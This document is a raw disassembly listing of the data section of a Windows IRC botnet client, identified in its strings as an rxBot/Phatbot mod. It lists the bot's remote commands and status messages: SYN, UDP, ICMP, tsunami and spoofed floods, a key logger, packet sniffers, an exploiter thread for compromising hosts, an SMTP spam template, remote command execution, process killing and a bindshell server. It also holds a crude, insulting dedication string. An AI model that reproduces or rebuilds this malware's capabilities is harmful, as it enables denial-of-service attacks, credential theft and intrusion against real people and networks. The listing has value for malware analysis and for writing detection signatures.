		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 10h
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Fo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5398o
unk_42B090	db  2Dh	; -		; DATA XREF: sub_401ACD+52FDo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52EDo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D6o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+5260o
		align 10h
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Do
unk_42B0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+51FEo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+518Ao
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Fo
		align 10h
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5088o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5071o
		align 10h
aP:					; DATA XREF: sub_401ACD+505Ao
					; ___:00438308o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5043o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Co
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5015o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFEo
aU:					; DATA XREF: sub_401ACD+4FE7o
					; ___:00438300o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FD0o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB9o
		align 4
aAdv		db 'adv',0              ; DATA XREF: sub_401ACD+4FA2o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Bo
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F74o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Do
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F37o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F20o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F09o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF2o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDBo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC4o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EADo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E96o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Fo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E68o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E51o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E3Ao
		align 4
dword_42B218	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Do
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B254	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBEo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Bo
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D24o
					; sub_401ACD+52BEo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Do
		align 4
unk_42B29C	db  2Dh	; -		; DATA XREF: sub_401ACD+4D00o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C29o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C12o
					; sub_412B09:loc_412C35o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFBo
					; sub_412B09:loc_412C19o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE4o
					; sub_412B09+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCDo
					; ___:00438338o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB6o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Do
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B76o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Fo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B48o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B31o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B1Ao
		align 4
aE:					; DATA XREF: sub_401ACD+4B03o
					; ___:004382F0o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AECo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD5o
		align 4
aJpDe10		db 'jp]de10',0          ; DATA XREF: sub_401ACD+4ABEo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA7o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A90o
		align 10h
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A79o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A62o
					; sub_401ACD+6BE8o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Bo
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A34o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Do
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A06o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EFo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D8o
		align 10h
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C1o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49AAo
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4993o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Co
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4965o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Eo
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4937o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+4920o
		align 10h
aM:					; DATA XREF: sub_401ACD+4909o
					; ___:00438348o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DBo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C4o
		align 10h
aA:					; DATA XREF: sub_401ACD+48ADo
					; ___:0043830Co
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4896o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4868o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4851o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+483Ao
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4823o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Co
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E3o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CEo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B9o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A4o
unk_42B428	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406266o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B444	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Fo
					; sub_409B13+5F0o
		align 10h
unk_42B470	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 10h
unk_42B490	db  2Dh	; -		; DATA XREF: sub_401ACD+4748o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B4B0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406194o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 10h
unk_42B4D0	db  2Dh	; -		; DATA XREF: sub_401ACD+46BDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Fo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Bo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4611o
		align 10h
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F7o
		align 4
unk_42B518	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B538	db  2Dh	; -		; DATA XREF: sub_401ACD+45E0o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45AAo
		align 4
unk_42B564	db  2Dh	; -		; DATA XREF: sub_401ACD+4578o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4554o
dword_42B5A0	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4549o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42B5DC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44DAo
aKeyLoggerActiv	db '- Key logger active.',0
		align 10h
dword_42B600	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4458o
aAlreadyRunning	db '- Already running.',0
		align 10h
dword_42B620	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Fo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42B64C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4438o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F9o
		align 10h
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D7o
		align 4
dword_42B698	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E99o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42B6B8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C2o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B6F0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4392o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B724	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4345o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 10h
dword_42B750	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4335o
aAlreadyRunni_0	db '- Already running.',0
		align 10h
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4302o
		align 4
unk_42B778	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC4o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B7A8	db  2Dh	; -		; DATA XREF: sub_401ACD+42EDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+42BDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B824	db  2Dh	; -		; DATA XREF: sub_401ACD+424Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_42B854	db  2Dh	; -		; DATA XREF: sub_401ACD+41E7o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41B0o
dword_42B87C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C72o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B8A8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Bo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B8E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Bo
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 10h
dword_42B920	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FCo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 10h
dword_42B950	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4095o
aAlreadyRunni_2	db '- Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4075o
					; sub_401ACD+41C7o ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Eo
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4049o
		align 10h
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4034o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Fo
		align 10h
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+400Ao
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF5o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FE0o
aV:					; DATA XREF: sub_401ACD+3FCBo
					; ___:0043833Co ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB6o
		align 10h
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA1o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Co
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F77o
		align 10h
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Do
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F38o
					; sub_401ACD+4645o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F23o
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Eo
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF9o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE4o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECFo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EBAo
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA5o
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Bo
					; ___:0043866Co
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E66o
					; sub_401ACD+590Co ...
		align 10h
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E51o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Co
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E27o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E12o
		align 10h
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFDo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE8o
		align 4
aK:					; DATA XREF: sub_401ACD+3DD3o
					; ___:00438328o ...
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBEo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D94o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Fo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D55o
					; ___:00438324o ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Bo
					; ___:00438344o ...
		unicode	0, <n>,0
unk_42BA4C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF7o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C93o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C6Ao
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C11o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B44o
dword_42BAAC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AF0o
					; sub_401ACD+3B27o
		dd 0
dword_42BAC4	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB9o
		dd 1
dword_42BADC	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A82o
					; sub_401ACD+3B99o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Do
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3998o
					; sub_401ACD+39D4o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Eo
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Fo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3808o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3706o
					; sub_401ACD+3D16o
		align 4
dword_42BB24	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E9o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42BB4C	dd 636364h		; DATA XREF: sub_401ACD+366Co
dword_42BB50	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Fo
dword_42BB5C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3502o
					; sub_401ACD+3763o ...
dword_42BB64	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E7o
					; sub_40ACB6+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A6o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3489o
					; sub_401ACD+3579o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3462o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3445o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3423o
					; sub_401ACD+3D6Ao
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3406o
					; sub_401ACD+354Do ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E4o
					; sub_401ACD+3D40o
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C7o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3378o
					; sub_401ACD+48F2o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Bo
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Co
		align 4
dword_42BBD4	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EFo
dword_42BBE8	dd 7463h		; DATA XREF: sub_401ACD+32A0o
dword_42BBEC	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3283o
					; sub_401ACD+38A9o ...
dword_42BBFC	dd 5Fh			; DATA XREF: sub_401ACD+3254o
					; sub_401ACD+32C0o ...
dword_42BC00	dd 6D70h		; DATA XREF: sub_401ACD+3234o
					; sub_401ACD+487Fo
unk_42BC04	db  2Dh	; -		; DATA XREF: sub_401ACD+3202o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31ABo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3182o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Bo
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3156o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3141o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Co
		align 4
unk_42BC6C	db  2Dh	; -		; DATA XREF: sub_401ACD+3121o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42BCAC	db  2Dh	; -		; DATA XREF: sub_401ACD+30AFo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3029o
unk_42BCE4	db  2Dh	; -		; DATA XREF: sub_401ACD+300Fo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42BD10	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF1o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCDo
		align 10h
unk_42BD50	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A41o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A23o
					; sub_401ACD+3F62o
unk_42BD8C	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42BDB8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42BDE4	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Eo
unk_42BDF4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42BEA4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Co
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42BEE0	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD2o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCCo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC5o
		align 4
unk_42BF14	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Eo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BF54	db  2Dh	; -		; DATA XREF: sub_401ACD+2CCAo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42BF80	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C48o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BFBC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD9o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BFE4	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B26o
dword_42BFF4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B21o
dword_42C000	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Eo
dword_42C010	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B09o
dword_42C020	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A96o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404556o
					; sub_401ACD:loc_409779o ...
		align 4
dword_42C054	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A74o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404534o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Eo
					; sub_401ACD+7A7Fo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Fo
		align 4
unk_42C0A4	db  2Dh	; -		; DATA XREF: sub_401ACD+2A18o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42C0D0	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D9o
		dd 2E7325h
unk_42C0E8	db  2Dh	; -		; DATA XREF: sub_401ACD+29CAo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42C124	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
